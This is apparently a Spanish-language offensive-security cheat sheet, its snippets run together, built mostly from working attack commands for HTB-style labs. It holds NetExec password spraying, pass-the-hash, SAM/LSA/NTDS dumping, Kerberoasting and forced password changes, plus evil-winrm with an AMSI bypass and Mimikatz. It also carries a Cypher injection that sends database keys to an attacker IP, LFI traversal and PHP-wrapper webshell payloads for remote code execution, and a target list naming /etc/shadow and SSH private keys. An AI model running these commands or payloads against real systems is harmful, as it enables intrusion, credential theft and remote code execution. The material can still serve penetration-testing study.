WINRM 10.10.10.10 5985 DC [-] dominio.htb\user123:Password01!nxc winrm 10.10.10.10 -u 'user123' -p 'Password01!'nxc winrm 10.10.10.10 -u 'user123' -H 'E45A314C664D40A227F9540121D1A29D'ncx winrm 10.10.10.10 -u users.txt -p 'Password01!' --continue-on-successnxc winrm 10.10.10.10 -u 'user1' -p passwords.txt --continue-on-successnxc winrm 10.10.10.10 -u users.txt -p passwords.txt --continue-on-successevil-winrm -i 10.10.10.10 -u 'user' -p 'Password01!'evil-winrm -i 10.10.10.10 -u 'user' -p 'Password01!' -Sevil-winrm -i 10.10.10.10 -u 'user' -H 'E45A314C664D40A227F9540121D1A29D'evil-winrm -i 10.10.10.10 -c certificate.pem -k priv-key.pem -Sevil-winrm -i dc.dominio.htb -r dominio.htbsudo apt install ntpdate -ysudo ntpdate -s 10.10.10.10impacket-getTGT 'dominio.htb'/'user':'password' -dc-ip 10.10.10.10impacket-getTGT 'dominio.htb'/'user' -hashes ':E45A314C664D40A227F9540121D1A29D' -dc-ip 10.10.10.10Bypass-4MSIservicesupload <archivo>download </ruta/archivo>evil-winrm -i 10.99.99.10 -u 'Administrador' -H '027ae3139c0b6e47d3825660c1ede923' -s /opt/nishang/Gather/
Bypass-4MSI
Invoke-Mimikatz.ps1
Invoke-Mimikatzevil-winrm -i 10.99.99.10 -u 'Administrador' -H '027ae3139c0b6e47d3825660c1ede923' -l# Descompilación del APK
apktool d <file.apk> -o FolderDirectory
# Ejemplo, APK llamado 'test.apk' el cual queremos descompilarlo en el directorio 'Files'
apktool d test.apk -o 'Files'jadx-gui & disown 2>/dev/null' OR 1=1 WITH 1 as a MATCH (f:FLAG) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.x.x/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //"# Basic LFI
http://10.10.10.10/index.php?page=../../../../../etc/passwd
# Basic LFI ingresando ....// para intentar burlar str_replace
http://10.10.10.10/index.php?page=....//....//....//....//....//....//etc/passwd
http://10.10.10.10/index.php?page=....//....//....//....//....//....//etc/////passwd
# Método para intentar burlar función preg_match
http://10.10.10.10/index.php?page=....//....//....//....//....//....//etc/////passwd
http://10.10.10.10/index.php?page=....//....//....//....//....//....//etc/./passwd# Mostrar contenido en Base64 a través de Wrappers
http://10.10.10.10/index.php?page=php://filter/convert.base64-encode/resource=index.php
# Mostrar contenido en Rot13 a través de Wrappers
http://10.10.10.10/index.php?page=php://filter/read=string.rot13/resource=index.php
# Mostrar contenido en UTF-8/UTF-16
http://10.10.10.10./index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php❯ echo "<?php system(\$_GET['cmd']; ?>" | base64; echo
PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXTsgPz4K# Sustituir <whoami> por el código a ejecutar
http://10.10.10.10./index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXTsgPz4K&cmd=whoami# Wrapper para obtener RCE (Interceptar solicitud en BurpSuite)
php://input
<?php system("whoami"); ?>:linux:
- /etc/issue
- /etc/motd
- /etc/passwd
- /etc/shadow
- /etc/group
- /etc/hosts
- /etc/security/group
- /etc/security/passwd
- /etc/security/user
- /etc/security/environ
- /etc/security/limits
- /proc/self/environ
- /usr/lib/security/mkuser.default
- /home/<x>/.ssh/id_rsa
- /root/.ssh/id_rsa
- /etc/nginx/nginx.conf
- /etc/apache/httpd.conf
- /etc/apache2/httpd.conf
- /etc/apache2/apache2.conf
- /etc/apache2/conf/httpd.conf
- /usr/apache2/conf/httpd.conf
- /usr/apache/conf/httpd.conf
- /usr/local/apache/httpd.conf
- /usr/local/apache/conf/httpd.conf
- /usr/local/apache2/httpd.conf
- /usr/local/apache2/conf/httpd.conf
- /usr/local/httpd/conf/httpd.conf
- /usr/local/etc/apache/httpd.conf
- /usr/local/etc/apache2/httpd.conf
- /usr/local/etc/apache22/httpd.conf
- /usr/local/etc/apache/vhosts.conf
- /usr/local/etc/apache/conf/httpd.conf
- /usr/local/etc/apache2/conf/httpd.conf
- /usr/local/etc/httpd/conf/httpd.conf
- /usr/local/apps/apache2/conf/httpd.conf
- /usr/local/apps/apache/conf/httpd.conf
- /usr/pkg/etc/httpd/httpd.conf
- /etc/httpd.conf
- /etc/http/httpd.conf
- /etc/httpd/httpd.conf
- /etc/http/conf/httpd.conf
- /etc/httpd/conf/httpd.conf
- /etc/httpd/conf.d/vhost.conf
- /etc/init.d/apache/httpd.conf
- /etc/init.d/apache2/httpd.conf
- /etc/apache/apache.conf
- /etc/apache/conf/httpd.conf
- /etc/apache2/sites-available/default
- /etc/apache2/vhosts.d/default_vhost.include
- /opt/apache/conf/httpd.conf
- /opt/apache2/conf/httpd.conf
- /var/www/conf/httpd.conf
- /home/apache/httpd.conf
- /home/apache/conf/httpd.conf
- /var/www/vhosts/sitename/httpdocs//etc/init.d/apache
- /private/etc/httpd/httpd.conf
- /private/etc/httpd/httpd.conf.default
- /Volumes/webBackup/opt/apache2/conf/httpd.conf
- /Volumes/webBackup/private/etc/httpd/httpd.conf
- /Volumes/webBackup/private/etc/httpd/httpd.conf.default
- /logs/error.log
- /logs/access.log
- /logs/error_log
- /logs/access_log
- /var/log/httpd/access.log
- /var/log/httpd/access_log
- /var/log/httpd-error.log
- /var/log/httpd-access.log
- /var/log/httpd/error_log
- /var/log/httpd/error.log
- /var/log/apache/access.log
- /var/log/apache/access_log
- /var/log/apache/error.log
- /var/log/apache/error_log
- /var/log/apache2/access.log
- /var/log/apache2/access_log
- /var/log/apache2/error.log
- /var/log/apache2/error_log
- /var/log/nginx/access.log
- /var/log/nginx/error.log
- /var/log/access.log
- /var/log/access_log
- /var/log/aerror.log
- /var/log/error_log
- /var/www/logs/access.log
- /var/www/logs/access_log
- /var/www/logs/error.log
- /var/www/logs/error_log
- /usr/local/apache/logs/access.log
- /usr/local/apache/logs/access_log
- /usr/local/apache/logs/error.log
- /usr/local/apache/logs/error_log
- /usr/local/apache2/logs/access.log
- /usr/local/apache2/logs/access_log
- /usr/local/apache2/logs/error.log
- /usr/local/apache2/logs/error_log
- /etc/httpd/access.log
- /etc/httpd/logs/access.log
- /etc/httpd/logs/access_log
- /etc/httpd/logs/error.log
- /etc/httpd/logs/error_log
- /etc/apache2/logs/access.log
- /apache/logs/error.log
- /apache/logs/access.log
- /apache2/logs/error.log
- /apache2/logs/access.log
- /opt/lampp/logs/access.log
- /opt/lampp/logs/access_log
- /opt/lampp/logs/error.log
- /opt/lampp/logs/error_log
- /opt/xampp/logs/access.log
- /opt/xampp/logs/access_log
- /opt/xampp/logs/error.log
- /opt/xampp/logs/error_log
- /usr/local/php/httpd.conf
- /usr/local/php4/httpd.conf
- /usr/local/php5/httpd.conf
- /usr/local/php/httpd.conf.php
- /usr/local/php4/httpd.conf.php
- /usr/local/php5/httpd.conf.php
- /Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
- /Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
- /Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
- /Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php
- /Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
- /Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
- /etc/php.ini
- /bin/php.ini
- /etc/httpd/php.ini
- /usr/lib/php.ini
- /usr/lib/php/php.ini
- /usr/local/etc/php.ini
- /usr/local/lib/php.ini
- /usr/local/php/lib/php.ini
- /usr/local/php4/lib/php.ini
- /usr/local/php5/lib/php.ini
- /usr/local/apache/conf/php.ini
- /etc/php4.4/fcgi/php.ini
- /etc/php4/apache/php.ini
- /etc/php4/apache2/php.ini
- /etc/php5/apache/php.ini
- /etc/php5/apache2/php.ini
- /etc/php/php.ini
- /etc/php/php4/php.ini
- /etc/php/apache/php.ini
- /etc/php/apache2/php.ini
- /web/conf/php.ini
- /usr/local/Zend/etc/php.ini
- /opt/xampp/etc/php.ini
- /var/local/www/conf/php.ini
- /etc/php/cgi/php.ini
- /etc/php4/cgi/php.ini
- /etc/php5/cgi/php.ini
- /NetServer/bin/stable/apache/php.ini
- /home2/bin/stable/apache/php.ini
- /home/bin/stable/apache/php.ini
- /Volumes/Macintosh_HD1/usr/local/php/lib/php.ini
- /usr/local/cpanel/logs
- /usr/local/cpanel/logs/stats_log
- /usr/local/cpanel/logs/access_log
- /usr/local/cpanel/logs/error_log
- /usr/local/cpanel/logs/license_log
- /usr/local/cpanel/logs/login_log
- /var/cpanel/cpanel.config
- /var/log/mysql/mysql-bin.log
- /var/log/mysql.log
- /var/log/mysqlderror.log
- /var/log/mysql/mysql.log
- /var/log/mysql/mysql-slow.log
- /var/mysql.log
- /var/lib/mysql/my.cnf
- /etc/mysql/my.cnf
- /etc/my.cnf
- /etc/logrotate.d/proftpd
- /www/logs/proftpd.system.log
- /var/log/proftpd
- /etc/proftp.conf
- /etc/protpd/proftpd.conf
- /etc/vhcs2/proftpd/proftpd.conf
- /etc/proftpd/modules.conf
- /var/log/vsftpd.log
- /etc/vsftpd.chroot_list
- /etc/logrotate.d/vsftpd.log
- /etc/vsftpd/vsftpd.conf
- /etc/vsftpd.conf
- /etc/chrootUsers
- /var/log/xferlog
- /var/adm/log/xferlog
- /etc/wu-ftpd/ftpaccess
- /etc/wu-ftpd/ftphosts
- /etc/wu-ftpd/ftpusers
- /usr/sbin/pure-config.pl
- /usr/etc/pure-ftpd.conf
- /etc/pure-ftpd/pure-ftpd.conf
- /usr/local/etc/pure-ftpd.conf
- /usr/local/etc/pureftpd.pdb
- /usr/local/pureftpd/etc/pureftpd.pdb
- /usr/local/pureftpd/sbin/pure-config.pl
- /usr/local/pureftpd/etc/pure-ftpd.conf
- /etc/pure-ftpd.conf
- /etc/pure-ftpd/pure-ftpd.pdb
- /etc/pureftpd.pdb
- /etc/pureftpd.passwd
- /etc/pure-ftpd/pureftpd.pdb
- /usr/ports/ftp/pure-ftpd/
- /usr/ports/net/pure-ftpd/
- /usr/pkgsrc/net/pureftpd/
- /usr/ports/contrib/pure-ftpd/
- /var/log/pure-ftpd/pure-ftpd.log
- /logs/pure-ftpd.log
- /var/log/pureftpd.log
- /var/log/ftp-proxy/ftp-proxy.log
- /var/log/ftp-proxy
- /var/log/ftplog
- /etc/logrotate.d/ftp
- /etc/ftpchroot
- /etc/ftphosts
- /var/log/exim_mainlog
- /var/log/exim/mainlog
- /var/log/maillog
- /var/log/exim_paniclog
- /var/log/exim/paniclog
- /var/log/exim/rejectlog
- /var/log/exim_rejectlog
:win:
- C:\boot.ini
- C:\php5\php.ini
- C:\php4\php.ini
- C:\php\php.ini
- C:\Windows\php.ini
- C:\WINNT\php.ini
- C:\apache\php\php.ini
- C:\xampp\apache\bin\php.ini
- C:\phpStudy\Apache\conf\httpd.conf
- C:\phpStudy\Apache\conf\vhosts.conf
- C:\Windows\system32\inetsrv\MetaBase.xml
- C:\Windows\System32\inetsrv\config\applicationHost.config
- C:\wamp\bin\apache\logs\access.log
- C:\wamp\bin\mysql\mysql5.5.24\wampserver.conf
- C:\wamp\bin\apache\apache2.2.22\conf\httpd.conf
- C:\wamp\bin\apache\apache2.2.22\conf\wampserver.conf
- C:\wamp\bin\apache\apache2.2.22\conf\httpd.conf.build
- C:\Program Files\Apache Group\Apache\logs\access.log
- C:\Program Files\Apache Group\Apache\logs\error.log
- C:\Program Files\Apache Group\Apache\conf\httpd.conf
- C:\Program Files\Apache Group\Apache2\conf\httpd.conf
- C:\Program Files (x86)\Apache Group\Apache\logs\access.log
- C:\Program Files (x86)\Apache Group\Apache\logs\error.log
- C:\Program Files\xampp\apache\conf\httpd.conf
- C:\Program Files\Apache Software Foundation\Apache2.2\conf\httpd.conf
- C:\Program Files\Apache Software Foundation\Apache2.2\logs\error.log
- C:\Program Files\Apache Software Foundation\Apache2.2\logs\access.log# Autenticación básica para comprobar credenciales válidas con autenticación NTLM.
nxc ldap 10.10.10.10 -u 'user' -p 'password'
# Autenticación para comprobar credenciales válidas con autenticación Kerberos.
nxc ldap dc.domain.htb -u 'user' -p 'password' -k
# Autenticación para comprobar ticket (.ccache) de Kerberos es válido
nxc ldap dc.domain.htb --use-kcache
# Autenticación realizando PassTheHash para verificar si el hash NT es válido.
nxc ldap 10.10.10.10 -u 'user' -H '<NTLM_HASH>'# Brute Force sobre un usuario para probar un listado de contraseñas.
nxc smb 10.10.10.10 -u 'user' -p passwords.txt --continue-on-success
# Password Spraying con una contraseña sobre un listado de usuarios.
nxc smb 10.10.10.10 -u users.txt -p 'Password01!' --continue-on-success
# Password Spraying sin BruteForce, probar 1 línea de users con 1 línea de passwords, succesivamente.
nxc smb 10.10.10.10 -u users.txt -p passwords.txt --no-bruteforce
# Ataque de fuerza bruta con un listado de usuarios y contraseñas.
nxc smb 10.10.10.10 -u users.txt -p passwords.txt --continue-on-success# Verificar si el usuario tiene permisos para conectarse mediante WinRM - EvilWinRM
nxc winrm 10.10.10.10 -u 'user' -p 'password'
# Ejemplo en caso de que SI dispusiéramos de acceso.
❯ nxc winrm 10.10.10.10 -u 'user' -p 'password'
WINRM 10.10.10.10 5985 GZZCOO [*] Windows 10 / Server 2019 Build 17763 (name:GZZCOO) (domain:Gzzcoo)
WINRM 10.10.10.10 5985 GZZCOO [+] Gzzcoo\user:password (Pwn3d!)
# Ejemplo en caso de que NO dispusiéramos de acceso.
❯ nxc winrm 10.10.10.10 -u 'user' -p 'password'
WINRM 10.10.10.10 5985 GZZCOO [*] Windows 10 / Server 2019 Build 17763 (name:GZZCOO) (domain:Gzzcoo)
WINRM 10.10.10.10 5985 GZZCOO [-] Gzzcoo\user:password# Enumerar recursos compartidos del SMB que disponemos de permisos.
nxc smb 10.10.10.10 -u 'user' -p 'password' --shares
# Crear un JSON de la estructura de los recursos del SMB para ver dónde hay archivos interesantes.
nxc smb 10.10.10.10 -u 'user' -p 'password' -M spider_plus
# Enumeración completa desde SMB.
nxc smb 10.10.10.10 -u 'user' -p 'password' --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-pol# Obtener usuarios del dominio a través de RID Cycling Attack si el IPC$ está habilitado
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute
# Obtener solamente el listado de usuarios al realizar RID Cycling Attack
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute | grep SidTypeUser | rev | awk '{print $2}' | rev | awk '{print $2}' FS='\\'nxc smb 10.10.10.10 -u 'user' -p 'password' --loggedon-usersnxc smb 10.10.10.10 -u 'user' -p 'password' --sessionsnxc smb 10.10.10.10 -u 'user' -p 'password' --share 'SHARE' --get-file 'FILE_TARGET' 'OUTPUT_FILE'nxc smb 10.10.10.10 -u 'user' -p 'password' -x 'whoami'nxc smb 10.10.10.10 -u 'user' -p 'password' --samnxc smb 10.10.10.10 -u 'user' -p 'password' --lsanxc smb 10.10.10.10 -u 'user' -p 'password' --ntds vssnxc ldap dc.dominio.htb -u 'user' -p '' --asreproast hashes.txtnxc ldap dc.dominio.htb -u users.txt -p '' --asreproast hashes.txtnxc ldap dc.dominio.htb -u 'user' -p 'password' --kerberoasting hashes.txtnxc smb 10.10.10.10 -u 'attacker' -p 'Password01!' -M change-password -o NEWPASS='NewPass123!'nxc smb 10.10.10.10 -u 'attacker' -p 'Password01!' -M change-password -o NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'nxc smb 10.10.10.10 -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' -M change-password -o NEWPASS='NewPass123!'nxc smb 10.10.10.10 -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' -M change-password -o NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'nxc smb dc.domain.htb --use-kcache -M change-password -o NEWPASS='NewPass123!'nxc smb dc.domain.htb --use-kcache -M change-password -o NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'nxc smb 10.10.10.10 -u 'attacker' -p 'Password01!' -M change-password -o USER=victim NEWPASS='NewPass123!'nxc smb 10.10.10.10 -u 'attacker' -p 'Password01!' -M change-password -o USER=victim NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'nxc smb 10.10.10.10 -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' -M change-password -o USER=victim NEWPASS='NewPass123!'nxc smb 10.10.10.10 -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' -M change-password -o USER=victim NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'nxc smb dc.domain.htb --use-kcache -M change-password -o USER=victim NEWPASS='NewPass123!'nxc smb dc.domain.htb --use-kcache -M change-password -o USER=victim NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'nxc ldap 10.10.10.10 -u 'user' -p 'password' --bloodhound --collection All --dns-server 10.10.10.10nxc ldap 10.10.10.10 -u 'user' -p 'password' --gmsanxc ldap 10.10.10.10 -u 'user' -p 'password' -M lapsnxc ldap 10.10.10.10 -u 'user' -p 'password' --usersnxc ldap 10.10.10.10 -u 'user' -p 'password' --active-usersnxc ldap 10.10.10.10 -u 'user' -p 'password' --groups# Verificar autenticación al FTP, en este caso, comprobar usuario anonymous si es válido
nxc ftp 10.10.10.10 -u 'anonymous' -p ''
# Listar el contenido del servidor FTP
nxc ftp 10.10.10.10 -u 'usuario' -p 'password' --ls
nxc ftp 10.10.10.10 -u 'usuario' -p 'password' --ls '<Directorio>'
# Descargar archivo que se encuentra en el FTP
nxc ftp 10.10.10.10 -u 'usuario' -p 'password' --get '<PATH_OF_TARGET_FILE>'
# Subir archivo al servidor FTP
nxc ftp 10.10.10.10 -u 'usuario' -p 'password' --put '<path_local_file>' '<destination_path_file>'# Si el SMB se encuentra expuesto
nxc mssql 10.10.10.10 -u 'user' -p 'password'
# Si el SMB no se encuentra expuesto, hay que añadir -d domain
nxc mssql 10.10.10.10 -u 'user' -p 'password' -d dominio.htb# Autenticación con credenciales de MSSQL y no de Windows
nxc mssql 10.10.10.10 -u 'user' -p 'password' --local-auth# En caso de que MSSQL se encuentre en otro puerto, hay que especificarlo con --port
nxc mssql 10.10.10.10 -u 'user' -p 'password' --port 1234# Ejecutar QUERYS desde nxc
nxc mssql 10.10.10.10 -u 'user' -p 'password' -q 'SELECT name FROM master.dbo.sysdatabases;'# Ejecutar comandos arbitrarios en el sistema para obtener Remote Code Execution (RCE)
nxc mssql 10.10.10.10 -u 'user' -p 'password' -x whoaminxc mssql 10.10.10.10 -u 'user' -p 'password' --rid-brute# Verificar si el equipo es vulnerable a ZeroLogon (CVE-2020-1472)
nxc smb 10.10.10.10 -u 'user' -p 'password' -M zerologon
# Verificar si el equipo es vulnerable a EternalBlue MS17-010 (CVE-2017-0144)
nxc smb 10.10.10.10 -u 'user' -p 'password' -M ms17-010
# Verificar si el equipo es vulnerable a PrintNightmare (CVE-2021-1675)
nxc smb 10.10.10.10 -u 'user' -p 'password' -M printnightmare
# Verificar si el equipo es vulnerable a SMBGhost (CVE-2020-0796)
nxc smb 10.10.10.10 -u 'user' -p 'password' -M smbghost
# Verificar si el equipo es vulnerable a noPAC (CVE-2021-42278 && CVE-2021-42287)
nxc smb 10.10.10.10 -u 'user' -p 'password' -M nopac❯ nxc smb -L
LOW PRIVILEGE MODULES
[*] add-computer Adds or deletes a domain computer
[*] coerce_plus Module to check if the Target is vulnerable to any coerce vulns. Set LISTENER IP for coercion.
[*] dfscoerce [REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam
[*] drop-sc Drop a searchConnector-ms file on each writable share
[*] enum_av Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)
[*] enum_ca Anonymously uses RPC endpoints to hunt for ADCS CAs
[*] gpp_autologin Searches the domain controller for registry.xml to find autologon information and returns the username and password.
[*] gpp_password Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
[*] ioxidresolver This module helps you to identify hosts that have additional active interfaces
[*] ms17-010 MS17-010 - EternalBlue - NOT TESTED OUTSIDE LAB ENVIRONMENT
[*] nopac Check if the DC is vulnerable to CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user
[*] petitpotam [REMOVED] Module to check if the DC is vulnerable to PetitPotam, credit to @topotam
[*] printerbug [REMOVED] Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion.
[*] printnightmare Check if host vulnerable to printnightmare
[*] scuffy Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares
[*] shadowcoerce [REMOVED] Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam
[*] slinky Creates windows shortcuts with the icon attribute containing a URI to the specified server (default SMB) in all shares with write permissions
[*] smbghost Module to check for the SMB dialect 3.1.1 and compression capability of the host, which is an indicator for the SMBGhost vulnerability (CVE-2020-0796).
[*] spider_plus List files recursively and save a JSON share-file metadata to the 'OUTPUT_FOLDER'. See module options for finer configuration.
[*] spooler Detect if print spooler is enabled or not
[*] webdav Checks whether the WebClient service is running on the target
[*] zerologon Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472
HIGH PRIVILEGE MODULES (requires admin privs)
[*] bitlocker Enumerating BitLocker Status on target(s) If it is enabled or disabled.
[*] empire_exec Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
[*] enum_dns Uses WMI to dump DNS from an AD DNS Server
[*] firefox Dump credentials from Firefox
[*] get_netconnections Uses WMI to query network connections.
[*] handlekatz Get lsass dump using handlekatz64 and parse the result with pypykatz
[*] hash_spider Dump lsass recursively from a given hash using BH to find local admins
[*] hyperv-host Performs a registry query on the VM to lookup its HyperV Host
[*] iis Checks for credentials in IIS Application Pool configuration files using appcmd.exe
[*] impersonate List and impersonate tokens to run command as locally logged on users
[*] install_elevated Checks for AlwaysInstallElevated
[*] keepass_discover Search for KeePass-related files and process.
[*] keepass_trigger Set up a malicious KeePass trigger to export the database in cleartext.
[*] lsassy Dump lsass and parse the result remotely with lsassy
[*] masky Remotely dump domain user credentials via an ADCS and a KDC
[*] met_inject Downloads the Meterpreter stager and injects it into memory
[*] mobaxterm Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export
[*] mremoteng Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them)
[*] msol Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server
[*] nanodump Get lsass dump using nanodump and parse the result with pypykatz
[*] ntdsutil Dump NTDS with ntdsutil
[*] ntlmv1 Detect if lmcompatibilitylevel on the target is set to lower than 3 (which means ntlmv1 is enabled)
[*] pi Run command as logged on users via Process Injection
[*] powershell_history Extracts PowerShell history for all users and looks for sensitive commands.
[*] procdump Get lsass dump using procdump64 and parse the result with pypykatz
[*] putty Query the registry for users who saved ssh private keys in PuTTY. Download the private keys if found.
[*] rdcman Remotely dump Remote Desktop Connection Manager (sysinternals) credentials
[*] rdp Enables/Disables RDP
[*] reg-query Performs a registry query on the machine
[*] reg-winlogon Collect autologon credential stored in the registry
[*] runasppl Check if the registry value RunAsPPL is set or not
[*] schtask_as Remotely execute a scheduled task as a logged on user
[*] security-questions Gets security questions and answers for users on computer
[*] teams_localdb Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process
[*] test_connection Pings a host
[*] uac Checks UAC status
[*] veeam Extracts credentials from local Veeam SQL Database
[*] vnc Loot Passwords from VNC server and client configurations
[*] wcc Check various security configuration items on Windows machines
[*] wdigest Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1
[*] web_delivery Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module
[*] wifi Get key of all wireless interfaces
[*] winscp Looks for WinSCP.ini files in the registry and default locations and tries to extract credentials.❯ nxc wmi -L
LOW PRIVILEGE MODULES
[*] ioxidresolver This module helps you to identify hosts that have additional active interfaces
[*] spooler Detect if print spooler is enabled or not
[*] zerologon Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472
HIGH PRIVILEGE MODULES (requires admin privs)
[*] bitlocker Enumerating BitLocker Status on target(s) If it is enabled or disabled.
[*] enum_dns Uses WMI to dump DNS from an AD DNS Server
[*] get_netconnections Uses WMI to query network connections.
[*] rdp Enables/Disables RDP❯ nxc mssql -L
LOW PRIVILEGE MODULES
[*] mssql_priv Enumerate and exploit MSSQL privileges
HIGH PRIVILEGE MODULES (requires admin privs)
[*] empire_exec Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
[*] met_inject Downloads the Meterpreter stager and injects it into memory
[*] nanodump Get lsass dump using nanodump and parse the result with pypykatz
[*] test_connection Pings a host
[*] web_delivery Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module❯ nxc ldap -L
LOW PRIVILEGE MODULES
[*] adcs Find PKI Enrollment Services in Active Directory and Certificate Templates Names
[*] daclread Read and backup the Discretionary Access Control List of objects. Be careful, this module cannot read the DACLS recursively, see more explanation in the options.
[*] enum_trusts Extract all Trust Relationships, Trusting Direction, and Trust Transitivity
[*] find-computer Finds computers in the domain via the provided text
[*] get-desc-users Get description of the users. May contained password
[*] get-network Query all DNS records with the corresponding IP from the domain.
[*] get-unixUserPassword Get unixUserPassword attribute from all users in ldap
[*] get-userPassword Get userPassword attribute from all users in ldap
[*] group-mem Retrieves all the members within a Group
[*] groupmembership Query the groups to which a user belongs.
[*] laps Retrieves all LAPS passwords which the account has read permissions for.
[*] ldap-checker Checks whether LDAP signing and binding are required and / or enforced
[*] maq Retrieves the MachineAccountQuota domain-level attribute
[*] obsolete Extract all obsolete operating systems from LDAP
[*] pre2k Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each
[*] pso Module to get the Fine Grained Password Policy/PSOs
[*] sccm Find a SCCM infrastructure in the Active Directory
[*] subnets Retrieves the different Sites and Subnets of an Active Directory
[*] user-desc Get user descriptions stored in Active Directory
[*] whoami Get details of provided user
HIGH PRIVILEGE MODULES (requires admin privs)echo '10.10.14.13 dc01 dc01.gzzcoo.htb gzzcoo.htb' | sudo tee -a /etc/hosts

























